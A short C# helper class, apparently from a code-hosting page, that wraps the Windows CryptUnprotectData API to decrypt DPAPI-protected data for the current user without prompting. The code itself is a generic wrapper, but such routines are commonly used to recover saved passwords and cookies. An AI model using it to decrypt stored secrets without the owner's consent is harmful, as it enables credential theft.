49 lines
1.4 KiB
C#
49 lines
1.4 KiB
C#
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using System;
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using System.Runtime.InteropServices;
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namespace Intelix.Helper.Encrypted;
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public static class DpApi
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{
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private static NativeMethods.CryptprotectPromptstruct Prompt = new NativeMethods.CryptprotectPromptstruct
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{
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cbSize = Marshal.SizeOf(typeof(NativeMethods.CryptprotectPromptstruct)),
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dwPromptFlags = 0,
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hwndApp = IntPtr.Zero,
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szPrompt = null
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};
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public static byte[] Decrypt(byte[] bCipher)
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{
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NativeMethods.DataBlob pDataIn = default(NativeMethods.DataBlob);
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NativeMethods.DataBlob pDataOut = default(NativeMethods.DataBlob);
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NativeMethods.DataBlob pOptionalEntropy = default(NativeMethods.DataBlob);
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string ppszDataDescr = string.Empty;
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GCHandle gCHandle = GCHandle.Alloc(bCipher, GCHandleType.Pinned);
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pDataIn.cbData = bCipher.Length;
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pDataIn.pbData = gCHandle.AddrOfPinnedObject();
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try
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{
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if (!NativeMethods.CryptUnprotectData(ref pDataIn, ref ppszDataDescr, ref pOptionalEntropy, IntPtr.Zero, ref Prompt, 0, ref pDataOut) || pDataOut.cbData == 0)
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{
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return null;
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}
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byte[] array = new byte[pDataOut.cbData];
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Marshal.Copy(pDataOut.pbData, array, 0, pDataOut.cbData);
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return array;
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}
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finally
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{
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gCHandle.Free();
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if (pDataOut.pbData != IntPtr.Zero)
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{
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Marshal.FreeHGlobal(pDataOut.pbData);
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}
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if (pOptionalEntropy.pbData != IntPtr.Zero)
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{
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Marshal.FreeHGlobal(pOptionalEntropy.pbData);
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}
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}
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}
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}
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